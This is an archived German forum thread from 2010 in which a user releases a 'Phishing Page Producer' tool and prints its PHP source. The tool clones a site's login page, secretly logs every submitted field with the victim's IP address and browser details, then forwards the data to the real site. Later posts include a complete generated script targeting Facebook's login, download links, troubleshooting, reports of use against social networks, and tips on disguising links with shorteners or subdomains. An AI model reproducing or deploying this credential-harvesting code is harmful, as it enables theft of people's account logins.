PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Phishingseiten-Generator v1.1.1



Ken
03.04.2010, 11:44
Hey,

ich hoffe, dass mittlerweile so ziemlich alle Macken und Fehler ausgemerzt sind und das Programm recht fehlerfrei läuft. Probiert's aus.

Zum Download
@filebin.ca (http://filebin.ca/thwtnm/ppp-gui-111.exe)
@multiupload.com (http://www.multiupload.com/L14XUFHRR6)

Zum Programm
Es handelt sich um keine große Sache: Eine Anwendung, getauft "Phishing Page Producer" (kurz: "PPP"), bei der man den Link zu einer Seite angibt und eben ein entsprechendes PHP-Skript 'rausbekommt. Sehr einfach gehalten, aber durchaus effektiv, glaube ich.
http://s10.directupload.net/images/100401/rumv8cd7.png


· · · · · · · · · · · · · · ·


Spoiler: Für den typischen Konsumenten weniger interessante Informationen
Zur Technik
Das Teil ist in PHP geschrieben, so was funktioniert mit bamcompile (http://www.bambalam.se/bamcompile/) und der WinBinder-Erweiterung (http://winbinder.org/).

Zur Nutzung
Keine dummen, unberechtigten Fragen stellen; Weitergabe ausdrücklich erlaubt; nichts Illegales damit machen; nur für Testzwecke benutzen; niemand anderem Logindaten oder andere persönliche Informationen stehlen (insbesondere den eigenen Freunden nicht!!); nicht wegen niederen Beweggründen das Programm missbrauchen - wenn also Mist damit gebaut wird, nicht mich dafür verantwortlich machen, das ist nie meine Intention gewesen.

Hinweis
Beim ersten Start kopiert das Programm curl (mit SSL kompiliert) zusammen mit einigen Programmbibliotheken in Euren system32-Ordner.

Auszug aus dem Quellcode
Hier der eigentlich interessante Teil aus dem Programm-Quellcode, nämlich jener, wo das Phishingseiten-Skript generiert wird:

<?php
[...]
// Werte auslesen
$url = getval(url);
$logfile = getval(logfile);
$name = getval(name);

// Fehlerbehandlung
if(!preg_match("|https?://[a-zA-Z0-9\.\-_+äöü]*\.[a-z]{2,4}/?.*|", $url))
{
wb_play_sound(WBC_STOP);
display(status, "Error: No valid url.");
break;
}
elseif(preg_match("|[/\\:*?\"<>\|]|", $logfile) || $logfile == "" || $logfile[0] == ".")
{
wb_play_sound(WBC_STOP);
display(status, "Error: No valid logfile filename.");
break;
}
elseif(preg_match("|[/\\:*?\"<>\|]|", $name) || strtolower(end(explode(".", $name))) != "php")
{
wb_play_sound(WBC_STOP);
display(status, "Error: No valid output filename.");
break;
}

// Seite auslesen und Formulare bearbeiten
display(status, "Loading and analysing ".$url."...");
$page = str_replace("<head>", "<head>\n<base href=\"".$url."\" />", _exec("curl -k \"$url\""));
preg_match_all("|<form.*</form>|Usi", $page, $forms);
foreach($forms[0] as $val)
$page = str_replace($val, preg_replace('|<form([^>]*)action=[\'"]?([^\'^"^\s]*)[\'"\s]?([^>]*)>?|', '<form$1action="{{ppp-self}}"$3><input type="hidden" name="ppp-action" value="$2" />', $val), $page);

// Generiere PHP-Skript
$script = '<?php
/* ___ ___ ___
* / _ \/ _ \/ _ \
* / /_)/ /_)/ /_)/
* / ___/ ___/ ___/
* \/ \/ \/
* Ken\'s Phishing Page Producer
* generated on '.date("d.m.Y - H:i").' for '.$url.'
*/

$self = "http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"];
$logfile = "'.$logfile.'"; // file where logs shall be saved to
if(isset($_REQUEST["ppp-action"]))
{
$add = date("d.m.Y - H:i")."\nIP: ".$_SERVER["REMOTE_ADDR"]."\nHost: ".@gethostbyaddr($_SERVER["REMOTE_ADDR"])."\nUA: ".$_SERVER["HTTP_USER_AGENT"]."\nPOSTDATA:\n".print_r($_REQUEST, 1)."\n\n\n";
$h = fopen($logfile, "a");
fwrite($h, $add);
fclose($h);
isset($_POST["ppp-action"]) ? $method = "post" : $method = "get";
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head>
<base href="'.$url.'" />
<noscript><meta http-equiv="refresh" content="0; url='.$url.'" /></noscript>
</head>
<body onload="document.getElementsByTagName(\'form\')[0].submit();">
<?php
echo \'<form action="\'.$_REQUEST["ppp-action"].\'" method="\'.$method.\'">\';
unset($_REQUEST["ppp-action"]);
if(isset($_REQUEST["submit"]))
unset($_REQUEST["submit"]);
foreach($_REQUEST as $key => $val)
echo \'<input type="hidden" value="\'.$val.\'" name="\'.$key.\'" />\';
echo \'</form>\'."\n";
?>
</body>
</html>
<?php
exit;
}

$page = \''.str_replace(array("'", "{{ppp-self}}"), array("\'", '\'.$self.\''), $page).'\';
echo $page;
?>';

// Fertig, abspeichern
display(status, "Done. File was saved to ".$name."...");
$h = fopen($name, "w");
fwrite($h, $script);
fclose($h);
wb_play_sound(WBC_WARNING);
wb_wait($mainwin, 150);
wb_play_sound(WBC_WARNING);
[...]
?>

Trone
03.04.2010, 11:47
Wenn das Programm kann was ich glaube, top sache danke ;)
edit: top teil

Trinity
03.04.2010, 12:47
mal was ganz neues...werds mir mal saugen und ausprobieren...geb später mal feedback

snickex
03.04.2010, 13:13
also hab alles so gemacht wie da steht aber dann öffne ich die seite und dann steht da : '; unset($_REQUEST["ppp-action"]); if(isset($_REQUEST["submit"])) unset($_REQUEST["submit"]); foreach($_REQUEST as $key => $val) echo ''; echo ''."\n"; ?>

firefox15
03.04.2010, 13:38
echt top wenns funktioniert

Helio
03.04.2010, 15:02
@snichex
Du brauchst einen echten oder virtuellen Server wie Xampp um es richtig zu sehen.
http://www.apachefriends.org/de/xampp.html
Herunterladen, Installieren , Apache aktivieren (näheres siehe Website)
sich freuen ...

snickex
03.04.2010, 15:49
kann mir nicht jemand bitte erklären wie ich die php dann bearbeiten muss und was ich eintragen muss in die php (wo & was) wär echt nett von euch !





MfG


P.s. hab einen server aber ich muss ja in der php datei irgendwelche daten eintragen aber ich weiß nicht welche

Ken
03.04.2010, 19:29
Ne, musst Du eigentlich nich mehr, sollte alles von selbst erledigt werden.

snickex
03.04.2010, 22:56
besten dank !!!

Bonkers
03.04.2010, 23:01
Setzt das Tool denn relative Links um? Hab gerade keine Zeit den ganzen Code zu lesen, aber wenn nicht dann solltest du diese Möglichkeit ergänzen.
Wenn der Server z.B. das Bild auf "/images/test.jpg" einbindet, dann solltest du daraus absolute Links generieren ;)

Ken
03.04.2010, 23:52
Du solltest Dir vielleicht einfach mal die Zeit nehmen, das auszuprobieren... ;) Er setzt in den Header-Bereich ein base-Tag, sprich: Es wird alles genau so dargestellt, wie "in Echt".

Adoppelgroberlin
04.04.2010, 00:31
also ne website kopieren kann jeder oO

doch automatisch dann die eingaben loggen muss mann imemr auto. editn..dachte das tool macht es selber ...schade

Ken
04.04.2010, 10:46
doch automatisch dann die eingaben loggen muss mann imemr auto. editn..dachte das tool macht es selber ...schadeUnd Du solltest Dir eventuell auch mal die Zeit nehmen, das auszuprobieren, oder wenigstens die Beschreibung zu lesen... genau das wird doch gemacht?! Es werden alle auf der Seite enthaltenen Formulare geringfügig modifiziert, sodass sie in Zukunft kurz umgeleitet werden und die Eingaben zwischengespeichert - ansonsten bleibt die Seite absolut identisch und funktionsfähig. Meine Fresse. http://www.flyertalk.com/rolleyes.gif

Adoppelgroberlin
04.04.2010, 11:00
Und Du solltest Dir eventuell auch mal die Zeit nehmen, das auszuprobieren, oder wenigstens die Beschreibung zu lesen... genau das wird doch gemacht?! Es werden alle auf der Seite enthaltenen Formulare geringfügig modifiziert, sodass sie in Zukunft kurz umgeleitet werden und die Eingaben zwischengespeichert - ansonsten bleibt die Seite absolut identisch und funktionsfähig. Meine Fresse. http://www.flyertalk.com/rolleyes.gif

glaube du solltest mal bessa beschreiben, das tool/Script macht es NICHT automatisch!!!!!!!!!!!!

habe bei funpic zb mein ftp so jetzt die clione seite darein uunnd ???????

trozdem keine logs!!! also DOCH SELBER IM SCRIPT DIE SERVER DATEN EINGEBEN

also macht dein tool das NICHT AUTOMATISCH ;)

Ken
04.04.2010, 11:11
Nö, es machts eigentlich automatisch, vielleicht machst Du irgendwas falsch. Du musst schon die Seite nehmen, auf der auch das entsprechende Formular ist, welches Du "phishen" willst. Ansonsten schick mir mal den Quelltext von der generierten Datei.

darkblader
05.04.2010, 00:22
super tool , erleichtert echt die arbeit :P
funktioniert einwandfrei.

NYD
11.04.2010, 16:10
also bei mir kommt wenn ichs aufrufen will dann:

403 - Fehler: Zugriff verweigert.
403 - Error: Access denied.

jealous
11.04.2010, 17:13
klappt bestens top tool

Ken
12.04.2010, 14:39
also bei mir kommt wenn ichs aufrufen will dann:

403 - Fehler: Zugriff verweigert.
403 - Error: Access denied.Du musst darauf achten, dass Du die komplette, korrekte URL angibst, also kopierst Du sie am besten aus der Browser-Adressleiste. Hab leider vergessen, cURL zu "sagen" (= den Parameter geben), dass es eventuellen Umleitungen folgen soll.

SKR
04.05.2010, 14:05
Re-Upp wäre nice :D

Sauden
04.05.2010, 14:12
Post sammler -.-

Der Link geht von Multi Upload -.-

tascha
04.05.2010, 14:19
öööhm...
Nein?
der link geht nicht!

Fixi
04.05.2010, 14:22
Tascha der link geht (Multiupload.com - upload your files to multiple file hosting sites! (http://www.multiupload.com/L14XUFHRR6)) Also sag nicht er geht nicht:evil:

SKR
04.05.2010, 14:25
Diese Datei ist weder einem Premiumaccount, noch einem Collector's Account zugeordnet und kann deshalb insgesamt nur 10 mal heruntergeladen werden.
Dieses Limit ist erreicht.
Um diese Datei herunterladen zu können, muss der Anbieter entweder die Datei in seinen Collector's Account verschieben, oder die Datei erneut raufladen. Die Datei kann nachträglich in ein Collector's Account verschoben werden. Der Anbieter muss nur auf den Löschlink der Datei klicken, um mehr Informationen zu erhalten.

ihr seit mir ja welche :)
naja wäre immer noch für Re-Upp

EDIT://

Das ist ja MULTI-upload ;D nicht so drauf geachtet höhö

Sauden
04.05.2010, 14:30
-.-
Dann scrolste ein bischen runter und nimmst ein anderen Hoster Z.B Megaupload oder sonst wen -.-

SKR
04.05.2010, 14:38
speichert er da eigentlich eine Datei ab oder wie ich find nähmlich nichts das er abgespeichert hätte ^^

Cr0ssfire100
05.05.2010, 16:38
wie kann ich das programm den benutzen ...? was bringt dass...?

klimax
22.05.2010, 10:38
aslo wenn ich die seite kopiere z.b. facebook.com/login.php dan machet der schon was aber was er nicht macht ist wenn die file geupt wird auf den server und ich die aufrufe wie zb http://askim.ch/xss/fb.php ist die seite weiss -.-

hier der quellcode:


<?php
/* ___ ___ ___
* / _ \/ _ \/ _ \
* / /_)/ /_)/ /_)/
* / ___/ ___/ ___/
* \/ \/ \/
* Ken's Phishing Page Producer
* generated on 22.05.2010 - 10:57 for Login | Facebook (http://www.facebook.com/login.php)
*/

$self = "http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"];
$logfile = "logs.txt"; // file where logs shall be saved to
if(isset($_REQUEST["ppp-action"]))
{
$add = date("d.m.Y - H:i")."\nIP: ".$_SERVER["REMOTE_ADDR"]."\nHost: ".@gethostbyaddr($_SERVER["REMOTE_ADDR"])."\nUA: ".$_SERVER["HTTP_USER_AGENT"]."\nPOSTDATA:\n".print_r($_REQUEST, 1)."\n\n\n";
$h = fopen($logfile, "a");
fwrite($h, $add);
fclose($h);
isset($_POST["ppp-action"]) ? $method = "post" : $method = "get";
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head>
<base href="http://www.facebook.com/login.php" />
<noscript><meta http-equiv="refresh" content="0; url=http://www.facebook.com/login.php" /></noscript>
</head>
<body onload="document.getElementsByTagName('form')[0].submit();">
<?php
echo '<form action="'.$_REQUEST["ppp-action"].'" method="'.$method.'">';
unset($_REQUEST["ppp-action"]);
if(isset($_REQUEST["submit"]))
unset($_REQUEST["submit"]);
foreach($_REQUEST as $key => $val)
echo '<input type="hidden" value="'.$val.'" name="'.$key.'" />';
echo '</form>'."\n";
?>
</body>
</html>
<?php
exit;
}

$page = '';
echo $page;
?>

kannst du mir sagen wo der fehler liegen könnte ??

<~Engel~>
22.05.2010, 11:20
aslo wenn ich die seite kopiere z.b. facebook.com/login.php dan machet der schon was aber was er nicht macht ist wenn die file geupt wird auf den server und ich die aufrufe wie zb http://askim.ch/xss/fb.php ist die seite weiss -.-

hier der quellcode:
...
kannst du mir sagen wo der fehler liegen könnte ??
Versuch es mal mit der hier
http://webftpbackupspace.24.tl/fp.php.txt

mfg.
<~Engel~>

klimax
22.05.2010, 11:46
ok super hat funktioniert :)

aber wenn ich dies jetzt per email will muss ich wo ändern ??

DDW111
25.05.2010, 01:57
Funktionirt bei Mir irgendwie nicht :(

stayla
06.09.2010, 18:19
reupp bitte

kann ihn bitte mal jemand reuppen

warlock
14.09.2010, 05:57
Bitte sehr
Multiupload.com - upload your files to multiple file hosting sites! (http://www.multiupload.com/4JTLRPA756)

tyn
14.09.2010, 20:16
mach doch einfach über ftp^^

NOE_2.0
17.09.2010, 13:25
Mal ne ganz dumme frage...

Was bringt das wenn ich die Login.php habe?

Bobinhod
17.09.2010, 14:21
Ich habs mal Bei lokalisten ausbrobiert und da ging alles einmandfrei nur hab ich nochh eine frage da gibts doch so seiten wo man den link ferändern kann wie heist die??

Sveiven
17.09.2010, 14:24
Meinst du einen Sub-Domain?
z.B lokalisten.4-you.de

Dazu gabe es schon mal ein Thread -> SuFu

Ich aber dot.tk empfeheleb!

littletcom
17.09.2010, 14:31
Tinyurl meint er sicherlich;)

epicfa!l
22.09.2010, 23:33
Die Clone-Seite an sich funktioniert einwandfrei.
Allerdings habe ich ein Problem mit den Logs.
Irgendwie werden sie nicht gespeichert, bzw es gibt gar keine "logs.txt".

Ken
23.09.2010, 19:31
Kaum zu glauben, wieviele Zecken mittlerweile über das Programm herfallen, es einfach als gegeben und ohne ein Dankeschön hinnehmen - und es dann im Endeffekt nicht mal schaffen, eine Webseitenadresse (ohne Weiterleitung) einzugeben, und auf den Knopf zu drücken; sprich: Das Programm nicht mal bedienen können... Fremdscham.

epicfa!l
23.09.2010, 21:44
Kaum zu glauben, wieviele Zecken mittlerweile über das Programm herfallen, es einfach als gegeben und ohne ein Dankeschön hinnehmen

Den Teil mit "ohne ein Dankeschön" kann ich voll und ganz verstehen, habe das THX eben nachgeholt, weil ich gestern echt nicht dran gedacht habe.

Aber der Teil mit den "Zecken" ist einfach nur extrem daneben!
Das Tool hast du "4Free" für uns zur Verfügung gestellt, dann ist es doch klar, dass einige Leute das auch downloaden oder nicht?
Ausserdem, ist es normal das hin und wieder fragen auftreten. Entweder distanzierst du dich und sagst jeder muss selbst klarkommen, oder du hilfst den Leuten die dein Tool nutzen, damit sie dich evtl weiterempfehlen.